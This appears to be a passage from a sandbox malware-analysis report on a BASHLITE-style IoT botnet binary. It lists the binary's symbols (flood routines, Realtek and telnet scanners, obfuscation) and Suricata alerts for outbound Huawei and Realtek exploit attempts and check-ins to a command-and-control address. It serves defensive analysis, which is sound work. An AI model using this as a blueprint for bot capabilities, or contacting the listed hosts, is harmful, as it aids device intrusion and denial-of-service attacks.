memmove.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mempcpy	.symtab	0x412a70	90	FUNC	<unknown>	DEFAULT	2
memrchr	.symtab	0x412bbc	237	FUNC	<unknown>	DEFAULT	2
memrchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memset	.symtab	0x40e9a0	210	FUNC	<unknown>	DEFAULT	2
mmap	.symtab	0x411b10	48	FUNC	<unknown>	DEFAULT	2
mmap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mremap	.symtab	0x411c74	42	FUNC	<unknown>	DEFAULT	2
mremap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
munmap	.symtab	0x411ca0	38	FUNC	<unknown>	DEFAULT	2
munmap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mylock	.symtab	0x51a760	40	OBJECT	<unknown>	DEFAULT	9
mylock	.symtab	0x51a7a0	40	OBJECT	<unknown>	DEFAULT	9
mylock	.symtab	0x520da0	40	OBJECT	<unknown>	DEFAULT	10
nanosleep	.symtab	0x411cc8	38	FUNC	<unknown>	DEFAULT	2
nanosleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
next_start.1440	.symtab	0x520b00	8	OBJECT	<unknown>	DEFAULT	10
ngPid	.symtab	0x520df0	4	OBJECT	<unknown>	DEFAULT	10
ntohl	.symtab	0x40f475	5	FUNC	<unknown>	DEFAULT	2
ntohl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ntohs	.symtab	0x40f46d	8	FUNC	<unknown>	DEFAULT	2
ntop.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
numpids	.symtab	0x51a9e8	8	OBJECT	<unknown>	DEFAULT	10
object.2814	.symtab	0x51a940	48	OBJECT	<unknown>	DEFAULT	10
open	.symtab	0x40d0dc	106	FUNC	<unknown>	DEFAULT	2
open.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
opendir	.symtab	0x40d364	243	FUNC	<unknown>	DEFAULT	2
opendir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
opennameservers.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ourIP	.symtab	0x520dec	4	OBJECT	<unknown>	DEFAULT	10
p.2759	.symtab	0x51a188	0	OBJECT	<unknown>	DEFAULT	9
parseHex	.symtab	0x402e71	84	FUNC	<unknown>	DEFAULT	2
pids	.symtab	0x520df8	8	OBJECT	<unknown>	DEFAULT	10
pipe	.symtab	0x40d154	38	FUNC	<unknown>	DEFAULT	2
pipe.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
poll	.symtab	0x4137c0	41	FUNC	<unknown>	DEFAULT	2
poll.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
prctl	.symtab	0x40d17c	44	FUNC	<unknown>	DEFAULT	2
prctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
prefix.4494	.symtab	0x418e55	12	OBJECT	<unknown>	DEFAULT	4
print	.symtab	0x4022f1	1084	FUNC	<unknown>	DEFAULT	2
printchar	.symtab	0x402087	75	FUNC	<unknown>	DEFAULT	2
printi	.symtab	0x4021b1	320	FUNC	<unknown>	DEFAULT	2
prints	.symtab	0x4020d2	223	FUNC	<unknown>	DEFAULT	2
processCmd	.symtab	0x40552f	5569	FUNC	<unknown>	DEFAULT	2
qual_chars.4498	.symtab	0x418e70	20	OBJECT	<unknown>	DEFAULT	4
raise	.symtab	0x413768	18	FUNC	<unknown>	DEFAULT	2
raise.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand	.symtab	0x410d40	11	FUNC	<unknown>	DEFAULT	2
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand__str	.symtab	0x4075c2	149	FUNC	<unknown>	DEFAULT	2
rand_alpha_str	.symtab	0x407657	116	FUNC	<unknown>	DEFAULT	2
rand_alphastr	.symtab	0x401fdc	171	FUNC	<unknown>	DEFAULT	2
rand_cmwc	.symtab	0x401f29	179	FUNC	<unknown>	DEFAULT	2
rand_init	.symtab	0x4074fc	83	FUNC	<unknown>	DEFAULT	2
rand_next	.symtab	0x40754f	115	FUNC	<unknown>	DEFAULT	2
random	.symtab	0x410d4c	72	FUNC	<unknown>	DEFAULT	2
random.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
random_auth_entry	.symtab	0x40c227	226	FUNC	<unknown>	DEFAULT	2
random_poly_info	.symtab	0x419ac0	40	OBJECT	<unknown>	DEFAULT	4
random_r	.symtab	0x410f54	90	FUNC	<unknown>	DEFAULT	2
random_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
randtbl	.symtab	0x51a820	128	OBJECT	<unknown>	DEFAULT	9
rawmemchr	.symtab	0x413ea0	190	FUNC	<unknown>	DEFAULT	2
rawmemchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
read	.symtab	0x40d1a8	39	FUNC	<unknown>	DEFAULT	2
read.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
read_etc_hosts_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
realloc	.symtab	0x4104bc	857	FUNC	<unknown>	DEFAULT	2
realloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
realtek_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
realtekscanner_fake_time	.symtab	0x51ea68	4	OBJECT	<unknown>	DEFAULT	10
realtekscanner_get_random_ip	.symtab	0x4084f6	604	FUNC	<unknown>	DEFAULT	2
realtekscanner_recv_strip_null	.symtab	0x4076cc	125	FUNC	<unknown>	DEFAULT	2
realtekscanner_rsck	.symtab	0x51ea24	4	OBJECT	<unknown>	DEFAULT	10
realtekscanner_rsck_out	.symtab	0x51ea28	4	OBJECT	<unknown>	DEFAULT	10
realtekscanner_scanner_init	.symtab	0x407749	3203	FUNC	<unknown>	DEFAULT	2
realtekscanner_scanner_kill	.symtab	0x4083cc	22	FUNC	<unknown>	DEFAULT	2
realtekscanner_scanner_pid	.symtab	0x51ea20	4	OBJECT	<unknown>	DEFAULT	10
realtekscanner_scanner_rawpkt	.symtab	0x51ea40	40	OBJECT	<unknown>	DEFAULT	10
realtekscanner_setup_connection	.symtab	0x4083e2	276	FUNC	<unknown>	DEFAULT	2
recv	.symtab	0x40f8e0	11	FUNC	<unknown>	DEFAULT	2
recv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
recvLine	.symtab	0x4030d3	570	FUNC	<unknown>	DEFAULT	2
recv_strip_null	.symtab	0x40925c	125	FUNC	<unknown>	DEFAULT	2
recvfrom	.symtab	0x40f8ec	45	FUNC	<unknown>	DEFAULT	2
recvfrom.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
report_working	.symtab	0x40c309	404	FUNC	<unknown>	DEFAULT	2
resolv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
resolv_domain_to_hostname	.symtab	0x408754	149	FUNC	<unknown>	DEFAULT	2
resolv_entries_free	.symtab	0x408e3d	56	FUNC	<unknown>	DEFAULT	2
resolv_lookup	.symtab	0x40888e	1455	FUNC	<unknown>	DEFAULT	2
resolv_skip_name	.symtab	0x4087e9	165	FUNC	<unknown>	DEFAULT	2
rsck	.symtab	0x520fd0	4	OBJECT	<unknown>	DEFAULT	10
rsck_out	.symtab	0x520fd8	4	OBJECT	<unknown>	DEFAULT	10
rtcp	.symtab	0x40433a	932	FUNC	<unknown>	DEFAULT	2
sbrk	.symtab	0x411cf0	74	FUNC	<unknown>	DEFAULT	2
sbrk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
scanPid	.symtab	0x520df4	4	OBJECT	<unknown>	DEFAULT	10
scanner_init	.symtab	0x4092d9	5621	FUNC	<unknown>	DEFAULT	2
scanner_kill	.symtab	0x40a8ce	22	FUNC	<unknown>	DEFAULT	2
scanner_pid	.symtab	0x520fd4	4	OBJECT	<unknown>	DEFAULT	10
scanner_rawpkt	.symtab	0x51eaa0	40	OBJECT	<unknown>	DEFAULT	10
select	.symtab	0x40d1d0	44	FUNC	<unknown>	DEFAULT	2
select.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
send	.symtab	0x40f91c	11	FUNC	<unknown>	DEFAULT	2
send.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sendSTD	.symtab	0x4046de	453	FUNC	<unknown>	DEFAULT	2
sendto	.symtab	0x40f928	48	FUNC	<unknown>	DEFAULT	2
sendto.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setsockopt	.symtab	0x40f958	53	FUNC	<unknown>	DEFAULT	2
setsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setstate	.symtab	0x410d94	98	FUNC	<unknown>	DEFAULT	2
setstate_r	.symtab	0x410eac	168	FUNC	<unknown>	DEFAULT	2
setup_connection	.symtab	0x40a8e4	259	FUNC	<unknown>	DEFAULT	2
sigaction	.symtab	0x411a01	247	FUNC	<unknown>	DEFAULT	2
sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigaddset	.symtab	0x40f9c0	35	FUNC	<unknown>	DEFAULT	2
sigaddset.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigempty.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigemptyset	.symtab	0x40f9e4	20	FUNC	<unknown>	DEFAULT	2
signal	.symtab	0x40f9f8	168	FUNC	<unknown>	DEFAULT	2
signal.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigprocmask	.symtab	0x40d1fc	85	FUNC	<unknown>	DEFAULT	2
sigprocmask.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigsetops.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sleep	.symtab	0x411418	415	FUNC	<unknown>	DEFAULT	2
sleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
snprintf	.symtab	0x40d49c	137	FUNC	<unknown>	DEFAULT	2
snprintf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
socket	.symtab	0x40f990	47	FUNC	<unknown>	DEFAULT	2
socket.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
socket_connect	.symtab	0x404f77	219	FUNC	<unknown>	DEFAULT	2
sockprintf	.symtab	0x4028f5	432	FUNC	<unknown>	DEFAULT	2
spec_and_mask.4497	.symtab	0x418e90	16	OBJECT	<unknown>	DEFAULT	4
spec_base.4493	.symtab	0x418e61	7	OBJECT	<unknown>	DEFAULT	4
spec_chars.4494	.symtab	0x418ec0	21	OBJECT	<unknown>	DEFAULT	4
spec_flags.4493	.symtab	0x418ed5	8	OBJECT	<unknown>	DEFAULT	4
spec_or_mask.4496	.symtab	0x418ea0	16	OBJECT	<unknown>	DEFAULT	4
spec_ranges.4495	.symtab	0x418eb0	9	OBJECT	<unknown>	DEFAULT	4
sprintf	.symtab	0x40d528	149	FUNC	<unknown>	DEFAULT	2
sprintf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
srand	.symtab	0x410e64	72	FUNC	<unknown>	DEFAULT	2
srandom	.symtab	0x410e64	72	FUNC	<unknown>	DEFAULT	2
srandom_r	.symtab	0x410fae	169	FUNC	<unknown>	DEFAULT	2
static_id	.symtab	0x51a8d0	2	OBJECT	<unknown>	DEFAULT	9
static_ns	.symtab	0x520dc8	4	OBJECT	<unknown>	DEFAULT	10
stderr	.symtab	0x51a4f0	8	OBJECT	<unknown>	DEFAULT	9
stdin	.symtab	0x51a4e0	8	OBJECT	<unknown>	DEFAULT	9
stdout	.symtab	0x51a4e8	8	OBJECT	<unknown>	DEFAULT	9
strcasecmp	.symtab	0x414bec	48	FUNC	<unknown>	DEFAULT	2
strcasecmp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strchr	.symtab	0x40ea80	417	FUNC	<unknown>	DEFAULT	2
strcmp	.symtab	0x413d60	33	FUNC	<unknown>	DEFAULT	2
strcoll	.symtab	0x413d60	33	FUNC	<unknown>	DEFAULT	2
strcpy	.symtab	0x40ec30	213	FUNC	<unknown>	DEFAULT	2
strdup	.symtab	0x413fd8	54	FUNC	<unknown>	DEFAULT	2
strdup.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strerror_r	.symtab	0x40f2f4	194	FUNC	<unknown>	DEFAULT	2
strlen	.symtab	0x40ed10	225	FUNC	<unknown>	DEFAULT	2
strncat	.symtab	0x413f60	119	FUNC	<unknown>	DEFAULT	2
strncat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strncpy	.symtab	0x40f0d4	131	FUNC	<unknown>	DEFAULT	2
strncpy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strnlen	.symtab	0x40f158	206	FUNC	<unknown>	DEFAULT	2
strnlen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strpbrk	.symtab	0x413d88	140	FUNC	<unknown>	DEFAULT	2
strspn	.symtab	0x413e18	135	FUNC	<unknown>	DEFAULT	2
strstr	.symtab	0x40f228	187	FUNC	<unknown>	DEFAULT	2
strstr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtoimax	.symtab	0x411124	10	FUNC	<unknown>	DEFAULT	2
strtok	.symtab	0x40f3c8	10	FUNC	<unknown>	DEFAULT	2
strtok.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtok_r	.symtab	0x412cac	94	FUNC	<unknown>	DEFAULT	2
strtok_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtol	.symtab	0x411124	10	FUNC	<unknown>	DEFAULT	2
strtol.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtoll	.symtab	0x411124	10	FUNC	<unknown>	DEFAULT	2
sysconf	.symtab	0x4115b8	351	FUNC	<unknown>	DEFAULT	2
sysconf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
szprintf	.symtab	0x402810	229	FUNC	<unknown>	DEFAULT	2
table	.symtab	0x520e00	464	OBJECT	<unknown>	DEFAULT	10
table.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
table_init	.symtab	0x408e78	466	FUNC	<unknown>	DEFAULT	2
table_key	.symtab	0x51a490	4	OBJECT	<unknown>	DEFAULT	9
table_lock_val	.symtab	0x409073	41	FUNC	<unknown>	DEFAULT	2
table_retrieve_val	.symtab	0x40909c	62	FUNC	<unknown>	DEFAULT	2
table_unlock_val	.symtab	0x40904a	41	FUNC	<unknown>	DEFAULT	2
tcgetattr	.symtab	0x40f3f0	110	FUNC	<unknown>	DEFAULT	2
tcgetattr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
tcpFl00d	.symtab	0x403d28	1554	FUNC	<unknown>	DEFAULT	2
tcpcsum	.symtab	0x4036b7	191	FUNC	<unknown>	DEFAULT	2
telnet_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
time	.symtab	0x40d254	39	FUNC	<unknown>	DEFAULT	2
time.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
times	.symtab	0x411d3c	39	FUNC	<unknown>	DEFAULT	2
times.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
toggle_obf	.symtab	0x40913d	286	FUNC	<unknown>	DEFAULT	2
tolower	.symtab	0x40d2b0	30	FUNC	<unknown>	DEFAULT	2
tolower.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
toupper	.symtab	0x40d2d0	30	FUNC	<unknown>	DEFAULT	2
toupper.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
trim	.symtab	0x401e3e	235	FUNC	<unknown>	DEFAULT	2
type_codes	.symtab	0x418ee0	24	OBJECT	<unknown>	DEFAULT	4
type_sizes	.symtab	0x418ef8	12	OBJECT	<unknown>	DEFAULT	4
udpfl00d	.symtab	0x40380f	1305	FUNC	<unknown>	DEFAULT	2
unknown.2050	.symtab	0x418f48	14	OBJECT	<unknown>	DEFAULT	4
unsafe_state	.symtab	0x51a7e0	48	OBJECT	<unknown>	DEFAULT	9
uppercase	.symtab	0x403030	54	FUNC	<unknown>	DEFAULT	2
userID	.symtab	0x51a484	4	OBJECT	<unknown>	DEFAULT	9
usleep	.symtab	0x411718	52	FUNC	<unknown>	DEFAULT	2
usleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
util.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
util_atoi	.symtab	0x40c7d2	480	FUNC	<unknown>	DEFAULT	2
util_fdgets	.symtab	0x40ccdc	151	FUNC	<unknown>	DEFAULT	2
util_isalpha	.symtab	0x40cd9c	53	FUNC	<unknown>	DEFAULT	2
util_isdigit	.symtab	0x40ce06	41	FUNC	<unknown>	DEFAULT	2
util_isspace	.symtab	0x40cdd1	53	FUNC	<unknown>	DEFAULT	2
util_isupper	.symtab	0x40cd73	41	FUNC	<unknown>	DEFAULT	2
util_itoa	.symtab	0x40c9b2	277	FUNC	<unknown>	DEFAULT	2
util_local_addr	.symtab	0x40cc3a	162	FUNC	<unknown>	DEFAULT	2
util_memcpy	.symtab	0x40c766	65	FUNC	<unknown>	DEFAULT	2
util_memsearch	.symtab	0x40cac7	137	FUNC	<unknown>	DEFAULT	2
util_strcat	.symtab	0x40c727	63	FUNC	<unknown>	DEFAULT	2
util_strcmp	.symtab	0x40c67e	118	FUNC	<unknown>	DEFAULT	2
util_strcpy	.symtab	0x40c6f4	51	FUNC	<unknown>	DEFAULT	2
util_stristr	.symtab	0x40cb50	234	FUNC	<unknown>	DEFAULT	2
util_strlen	.symtab	0x40c5d0	45	FUNC	<unknown>	DEFAULT	2
util_strncmp	.symtab	0x40c5fd	129	FUNC	<unknown>	DEFAULT	2
util_zero	.symtab	0x40c7a7	43	FUNC	<unknown>	DEFAULT	2
vfork	.symtab	0x40ce30	21	FUNC	<unknown>	DEFAULT	2
vseattack	.symtab	0x40494c	1415	FUNC	<unknown>	DEFAULT	2
vsnprintf	.symtab	0x40d5c0	199	FUNC	<unknown>	DEFAULT	2
vsnprintf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
w	.symtab	0x51ea14	4	OBJECT	<unknown>	DEFAULT	10
wait4	.symtab	0x411d64	47	FUNC	<unknown>	DEFAULT	2
wait4.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
waitpid	.symtab	0x40d27c	7	FUNC	<unknown>	DEFAULT	2
waitpid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
watchdog_maintain	.symtab	0x401cad	276	FUNC	<unknown>	DEFAULT	2
watchdog_pid	.symtab	0x51a9e4	4	OBJECT	<unknown>	DEFAULT	10
wcrtomb	.symtab	0x411ef4	68	FUNC	<unknown>	DEFAULT	2
wcrtomb.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wcsnrtombs	.symtab	0x411f48	140	FUNC	<unknown>	DEFAULT	2
wcsnrtombs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wcsrtombs	.symtab	0x411f38	15	FUNC	<unknown>	DEFAULT	2
wcsrtombs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wildString	.symtab	0x402ec5	298	FUNC	<unknown>	DEFAULT	2
write	.symtab	0x40d284	42	FUNC	<unknown>	DEFAULT	2
write.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
x	.symtab	0x51ea08	4	OBJECT	<unknown>	DEFAULT	10
xdigits.3747	.symtab	0x41a120	17	OBJECT	<unknown>	DEFAULT	4
xstatconv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
y	.symtab	0x51ea0c	4	OBJECT	<unknown>	DEFAULT	10
z	.symtab	0x51ea10	4	OBJECT	<unknown>	DEFAULT	10
zprintf	.symtab	0x40272d	227	FUNC	<unknown>	DEFAULT	2

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-04T20:34:24.734446+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60342	41.97.6.254	37215	TCP
2024-12-04T20:34:24.896710+0100	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.14	52294	179.43.154.140	420	TCP
2024-12-04T20:34:30.220539+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47200	156.246.142.144	37215	TCP
2024-12-04T20:34:36.943006+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59686	156.73.153.242	37215	TCP
2024-12-04T20:34:45.265690+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	49264	41.155.199.182	52869	TCP
2024-12-04T20:34:48.777061+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	55648	41.118.64.160	52869	TCP
2024-12-04T20:34:48.777065+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51048	41.165.7.20	37215	TCP
2024-12-04T20:34:48.777207+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49360	41.54.125.212	37215	TCP
2024-12-04T20:34:48.777244+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50822	41.53.67.33	37215	TCP
2024-12-04T20:34:48.777539+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36750	156.154.217.250	37215	TCP
2024-12-04T20:34:48.796158+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40064	41.43.4.149	37215	TCP
2024-12-04T20:34:48.796410+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	48420	41.169.164.75	52869	TCP
2024-12-04T20:34:48.810016+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	43260	156.143.161.42	52869	TCP
2024-12-04T20:34:48.810083+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36106	156.126.215.134	37215	TCP
2024-12-04T20:34:48.904696+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	34958	197.149.191.62	52869	TCP
2024-12-04T20:34:48.921171+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	54712	156.39.9.64	52869	TCP
2024-12-04T20:34:48.935604+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	53662	156.33.126.151	52869	TCP
2024-12-04T20:34:48.935679+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	45946	197.57.17.249	52869	TCP
2024-12-04T20:34:48.935748+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	44106	156.53.32.243	52869	TCP
2024-12-04T20:34:48.935792+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42552	41.187.237.232	37215	TCP
2024-12-04T20:34:48.935950+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	49792	156.169.0.109	52869	TCP
2024-12-04T20:34:48.936065+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	49726	41.225.238.214	52869	TCP
2024-12-04T20:34:48.964305+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33068	41.135.60.103	37215	TCP
2024-12-04T20:34:48.980619+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52386	197.83.103.191	37215	TCP
2024-12-04T20:34:48.980696+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	34758	156.29.51.142	52869	TCP
2024-12-04T20:34:48.980742+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39600	197.33.215.35	37215	TCP
2024-12-04T20:34:48.980847+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44220	156.127.38.166	37215	TCP
2024-12-04T20:34:49.152482+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49034	197.140.98.60	37215	TCP
2024-12-04T20:34:49.152546+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59506	197.38.238.24	37215	TCP
2024-12-04T20:34:49.168381+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50752	197.94.90.110	37215	TCP
2024-12-04T20:34:49.779611+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45732	197.7.149.248	37215	TCP
2024-12-04T20:34:49.793384+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45444	197.143.6.121	37215	TCP
2024-12-04T20:34:49.810451+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59160	197.196.137.96	37215	TCP
2024-12-04T20:34:49.855186+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	43520	41.40.186.136	52869	TCP
2024-12-04T20:34:49.855190+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39594	41.142.203.25	37215	TCP
2024-12-04T20:34:49.887432+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	35244	41.47.150.192	52869	TCP
2024-12-04T20:34:49.965028+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53988	156.122.160.94	37215	TCP
2024-12-04T20:34:50.011690+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37872	197.192.58.48	37215	TCP
2024-12-04T20:34:50.105330+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	56986	41.58.254.48	52869	TCP
2024-12-04T20:34:51.183931+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37004	197.89.67.25	37215	TCP
2024-12-04T20:34:51.857185+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33408	156.191.184.73	37215	TCP
2024-12-04T20:34:53.028548+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	42220	197.245.120.181	52869	TCP
2024-12-04T20:34:55.106219+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40704	156.66.149.192	37215	TCP
2024-12-04T20:34:57.824108+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60804	156.115.90.119	37215	TCP
2024-12-04T20:34:57.824242+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58000	197.208.202.223	37215	TCP
2024-12-04T20:34:57.824427+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44382	156.164.50.81	37215	TCP
2024-12-04T20:34:58.183498+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	34854	197.182.194.233	52869	TCP
